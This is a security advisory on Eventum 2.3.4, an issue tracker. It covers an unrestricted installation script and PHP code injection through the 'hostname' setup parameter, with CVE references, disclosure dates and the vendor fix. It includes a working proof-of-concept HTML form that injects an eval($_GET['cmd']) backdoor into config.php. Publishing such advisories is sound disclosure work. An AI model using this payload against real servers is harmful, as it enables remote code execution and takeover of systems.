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Multiple Vulnerabilities in Eventum

Advisory ID:HTB23198
Vendor:Eventum Development Team
Vulnerable Versions:2.3.4 and probably prior
Tested Version:2.3.4
Advisory Publication:January 22, 2014 [without technical details]
Vendor Notification:January 22, 2014
Vendor Fix:January 24, 2014
Public Disclosure:January 27, 2014
Latest Update:January 27, 2014
Vulnerability Type:Incorrect Default Permissions [CWE-276]
Code Injection [CWE-94]
CVE References:CVE-2014-1631
Risk Level:Critical
CVSSv2 Base Scores:6.4 (AV:N/AC:L/Au:N/C:N/I:P/A:P)
10 (AV:N/AC:L/Au:N/C:C/I:C/A:C)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in Eventum, which can be exploited to reinstall and compromise vulnerable application.

1) Incorrect Default Permissions in Eventum: CVE-2014-1631
The vulnerability exists due to incorrect default permission set for installation scripts. Access to installation script located at "/setup/index.php" is not restricted by default and the script is not deleted during the installation process. A remote attacker can access the script and reinstall vulnerable application.
The installation script can be access by a remote unauthenticated user via the following URL:

2) Code Injection in Eventum: CVE-2014-1632
The vulnerability exists due to insufficient sanitization of the HTTP POST parameter "hostname" in "/config/config.php" script during the installation process. A remote attacker can inject and execute arbitrary PHP code on the target system with privileges of the webserver. Successful exploitation requires access to application’s database, which can be achieved by providing address of attacker-controlled MySQL server.
The following exploitation example injects a backdoor into "/config/config.php" file:
<form action="http://[host]/setup/index.php" method="post" name="main">
<input type="hidden" name="cat" value="install">
<input type="hidden" name="hostname" value="'); eval($_GET['cmd']); $tmp=('">
<input type="hidden" name="relative" value="/">
<input type="hidden" name="db_hostname" value="db_hostname">
<input type="hidden" name="db_name" value="db_name">
<input type="hidden" name="db_table_prefix" value="db_table_prefix">
<input type="hidden" name="drop_tables" value="yes">
<input type="hidden" name="db_username" value="db_username">
<input type="hidden" name="setup[smtp][from]" value="">
<input type="hidden" name="setup[smtp][host]" value="localhost">
<input type="hidden" name="setup[smtp][port]" value="25">
<input type="hidden" name="" value="">
<input type="submit" id="btn">

After successful reinstallation an attacker can execute arbitrary PHP code on the system. The following example executes the "phpinfo()" PHP function on the vulnerable system:

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Update to Eventum 2.3.5

More Information:

Vendor disclosed vulnerabilities and authorized us to release advisory on public before our usual delay (3 weeks).

[1] High-Tech Bridge Advisory HTB23198 - - Multiple Vulnerabilities in Eventum.
[2] Eventum - - Eventum is a user-friendly and flexible issue tracking system that can be used by a support department to track incoming technical support requests, or by a software development team to quickly organize tasks and bugs.
[3] Common Vulnerabilities and Exposures (CVE) - - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - Leveraging the power of machine-learning and genius of human brain to deliver the most advanced web application security and penetration testing.
[6] ImmuniWeb® SSLScan - Test your servers for security and compliance with PCI DSS, HIPAA and NIST.
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